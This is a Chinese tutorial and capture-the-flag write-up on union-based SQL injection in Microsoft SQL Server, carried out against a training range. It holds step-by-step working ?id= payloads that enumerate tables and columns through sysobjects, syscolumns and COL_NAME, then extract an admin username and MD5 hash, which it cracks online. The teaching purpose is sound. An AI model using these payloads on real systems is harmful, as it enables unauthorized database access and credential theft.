sql server(mssql)联合注入
- sql server简介:
1. 前置知识
- 以下资料均来自:sql server联机丛书:
1.1 sql server数据库内置函数:
- DB_NAME ( [ database_id ] ):如果对 DB_NAME 的调用省略 database_id,则 DB_NAME 返回当前数据库的名称;如果不省略,则返回对应数据库id的数据库名称
- COL_NAME ( table_id , column_id ):
- 参数:
- table_id:包含列的表的标识号。table_id 的类型为 int。
- column_id:列的标识号。column_id 参数的类型为 int。
- 作用:据指定的对应表标识号和列标识号返回列的名称。
- 参数:
- OBJECT_ID ( '[ database_name . [ schema_name ] . | schema_name . ] object_name' [ ,'object_type' ] )
- @@VERSION
1.2 sql server数据库的系统视图
- sysobjects:
- 准确的来说应称 sysobject 为系统视图,而不是表;不过在sql server2000版本及以前它的确是作为表而存在的。
- 作用:这张视图存储量该数据库内每一个对象(包括约束、默认值、日志、规则、存储过程等),每一个对象为其中的一条记录
- 拥有的字段名(这里只介绍数据库提供支持的字段):
* 列名 数据类型 说明 name; sysname; 对象名 id; int; 对象标识号 uid; smallint; 对象所有者的架构 ID。__对于从旧版 sql Server 升级的数据库,架构 ID 等于所有者的用户 ID。__ parent_obj; int; 父对象的对象标识号。例如,表 ID(如果父对象是触发器或约束)。 crdate; datetime; 对象的创建日期。 ftcatid; smallint; 注册为使用全文索引的所有用户表的全文目录标识符,对于没有注册的所有用户表则为 0。 schema_ver; int; 在每次更改表的架构时都会增加的版本号。始终返回 0。 xtype; char(2); 对象类型。可以是以下对象类型之一: AF = 聚合函数 (CLR) C = CHECK 约束 D = 默认值或 DEFAULT 约束 F = FOREIGN KEY 约束 L = 日志 FN = 标量函数 FS = 程序集 (CLR) 标量函数 FT = 程序集 (CLR) 表值函数 IF = 内联表函数 IT = 内部表 P = 存储过程 PC = 程序集 (CLR) 存储过程 PK = PRIMARY KEY 约束(类型为 K) RF = 复制筛选存储过程 S = 系统表 SN = 同义词 SQ = 服务队列 TA = 程序集 (CLR) DML 触发器 TF = 表函数 TR = sql DML 触发器 TT = 表类型 U = 用户表(__我们在这里使用的就是这个参数__) UQ = UNIQUE 约束(类型为 K) V = 视图 X = 扩展存储过程
- syscolumns
- 作用;为每个表和视图中的每一字段返回一行,并为数据库中的存储过程的每个参数返回一行
- 拥有的字段名(这里只介绍数据库提供支持的字段)
列名 数据类型 说明 name sysname 列名或过程参数的名称。 id int 此列所属表的对象 ID,或者与此参数关联的存储过程的 ID。 xtype tinyint sys.types 中的物理存储类型。 typestat tinyint 标识为仅供参考。不提供支持。不保证以后的兼容性。 xusertype smallint 扩展的用户定义数据类型的ID。如果数据类型的数字超过 32,767,则溢出或返回 NULL。有关详细信息,请参阅查询 sql Server 系统目录。 length smallint sys.types 中的最大物理存储长度。 colid smallint 列 ID 或参数 ID。 cdefault int 此列的默认值的 ID。 domain int 此列的规则或 CHECK 约束的 ID number smallint 过程分组时的子过程号。0 = 非过程项 容性。 offset smallint 此列所在行的偏移量。 collationid int 列的排序规则的 ID。对于非字符列,此值为 NULL。 status tinyint 用于说明列或参数的属性的位图: type tinyint sys.types 中的物理存储类型。 usertype smallint sys.types中的用户定义数据类型的 ID。如果数据类型数超过 32767,则会发生溢出或返回 NULL。有关详细信息,请参阅查询 sql Server 系统目录。 prec smallint 此列的精度级别。-1 = xml 或大值类型。 scale int 此列的小数位数。NULL = 数据类型不是数值。 iscomputed int 指示列是否为计算列的标志:0 = 非计算列。1 = 计算列。 isoutparam int 指示过程参数是否为输出参数:1 = True 0 = False isnullable int 指示列是否允许空值:1 = True 0 = False collation sysname 列的排序规则的名称。如果不是基于字符的列,则为 NULL。
1.3 Transact-sql 语法约定 --> 多部分名称
- 这部分知识用来理解sql语句:select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',null 中, mozhe_db_v2.dbo.sysobjects 的命名格式的含义。
- 多部分名称:
- 除非另外指定,否则,所有对数据库对象名的Transact-sql引用将是由四部分组成的名称,格式如下:
server_name .[database_name].[schema_name].object_name | database_name.[schema_name].object_name | schema_name.object_name | object_name
- 解释说明:
- server_name:指定链接的服务器名称或远程服务器名称。
- database_name:如果对象驻留在 sql Server 的本地实例中(说人话就是你操作的数据库在本地),则指定 sql Server 数据库的名称。如果对象在链接服务器中,则 database_name 将指定 OLE DB 目录。
- schema_name:如果对象在 sql Server数据库中,则指定包含对象的 架构的名称(对于从旧版 sql Server 升级的数据库,
架构 ID
等于所有者的用户 ID
)。如果对象在链接服务器中,则 schema_name将指定 OLE DB 架构名称。 - object_name:对象的名称。
- 注意:
- 若要省略中间节点,请使用句点来指示这些位置。下表显示了对象名的有效格式。
server . database . schema . object 四个部分的名称。 server . database .. object 省略架构名称。 server .. schema . object 省略数据库名称。 server ... object 省略数据库和架构名称。 database . schema . object 省略服务器名。 database .. object 省略服务器和架构名称。 schema . object 省略服务器和数据库名称。 object 省略服务器、数据库和架构名称。
- 除非另外指定,否则,所有对数据库对象名的Transact-sql引用将是由四部分组成的名称,格式如下:
1.4 关于对象、架构(结合 1.3的多部分名称理解 )
- 对象:在sql server数据库中,表,视图,函数等都被看作为 “(安全)对象”。每一个对象都有其 “对象名” 以及其 “对象ID”。
- 架构:架构是指包含
表、视图、过程等对象
的容器
。它位于数据库内部,而数据库位于服务器内部。这些实体就像嵌套框放置在一起。服务器是最外面的框,而架构是最里面的框。架构 包含下面列出的所有【安全对象】,但是它不包含其他框。必须位于架构内部的安全对象 类 类型 TYPE XML 架构集合 XML SCHEMA COLLECTION 表 OBJECT 视图 OBJECT 过程 OBJECT 函数 OBJECT 聚合函数 OBJECT 约束 OBJECT 同义词 OBJECT 队列 OBJECT 统计信息 OBJECT
- 默认架构
- 注意:
2.mssql 联合注入流程
- 判断注入点
- 判断当前注入点所查询的字段数
- 确定显示位
- 查询当前数据库名,当前数据库的版本号
- 查询当前数据库中有多少张表
- 查询数据库中的所有表名
- 查询表中有多少字段
- 查询每一个字段的名称
- 判断manage表中有多少条记录
- 查询账号密码
3. 靶场实战(这里以“墨者”的的靶场为例)
3.1 判断注入点
3.2 判断当前注入点所查询的字段数
3.3 确定显示位
- payload:
?id=2 and 1=2 union all select null,null,null,null ?id=2 and 1=2 union all select 'null',null,null,null ?id=2 and 1=2 union all select null,'null',null,null -- 出现显示位 ?id=2 and 1=2 union all select null,null,'null',null -- 出现显示位 ?id=2 and 1=2 union all select null,null,null,'null'
3.4 查询当前数据库名,当前数据库的版本号
- payload:
?id=2 and 1=2 union all select null,db_name(),@@version,null
- 由下图我们可以得出:当前数据库名为 mozhe_db_v2
- 由下图我们可以得出:当前数据库名为 mozhe_db_v2
3.5 查询当前数据库中有多少张表
- payload1:
?id=2 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.sysobjects where xtype='u'),@@version,null
- 由下图的回显可知:当前数据库存在2张表
- 为了让我们更深入的理解上述sql语句以及sql server的机制,在此借题发挥一下,请同学们结合我前面所介绍的“前置知识-->Transact-sql 语法约定-->多部分名称” 来判断一下,下面的payload是否可以达到与上面payload相同的效果?
payload2:?id=1 and 1=2 union all select null,(select count(*) from ...sysobjects where xtype='u'),@@version,null payload3:?id=1 and 1=2 union all select null,(select count(*) from sysobjects where xtype='u'),@@version,null payload4:?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2..sysobjects where xtype='u'),@@version,null payload5:?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.sysobjects where xtype='u'),@@version,null
- 下图是以上payload的执行结果:
- 我们可以看出,只有payload5执行失败了。
- 由下图的回显可知:当前数据库存在2张表
3.6 查询数据库中的所有表名
- payload:
3.7 查询表中有多少字段
- payload:
?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.syscolumns where id=object_id('manage')),'3',null
- 由图分析可知:manage表中存在3个字段。
- 由图分析可知:manage表中存在3个字段。
3.8 查询每一个字段的名称
- payload:(使用col_name()函数)
- 查询manage表的第一个字段名
?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),1) ),'3',null
- 查询manage表的第二个字段名
?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),2) ),'3',null
- 查询manage表的第三个字段名
?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),3) ),'3',null
- 显然字段 username 与 password 是我们所需要的
- 查询manage表的第一个字段名
- 其实在这里我们也可以使用以下payload来查询字段名(使用了syscolumns系统视图,不使用col_name()函数)--- 关于syscolumns系统视图请看 前置知识
-- 查询manage表的第一个字段名 ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage')),null,null -- 查询manage表的第二个字段名 ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id'),null,null -- 查询manage表的第三个字段名 ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id' and name<>'username'),null,null
3.9 判断manage表中有多少条记录
- payload:
?id=1 and 1=2 union all select null,count(*),null,null from manage
- 由下图可知,manage表中存在 1 条记录
- 由下图可知,manage表中存在 1 条记录
3.10 查询账号密码
- payload:
?id=1 and 1=2 union all select null,username,password,null from manage
- 由下图可知,账号密码为:admin_mz/72e1bfc3f01b7583
- 显然这里的密码是经过MD5加密后的,那么我们就通过网站 https://www.cmd5.com 进行解密,得到明文:97285101。所以账号密码:admin_mz/97285101
- 由下图可知,账号密码为:admin_mz/72e1bfc3f01b7583
3.11 登录后台拿flag
- KEY: mozhe3ecd86b639e1b4af48c27353ab0
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。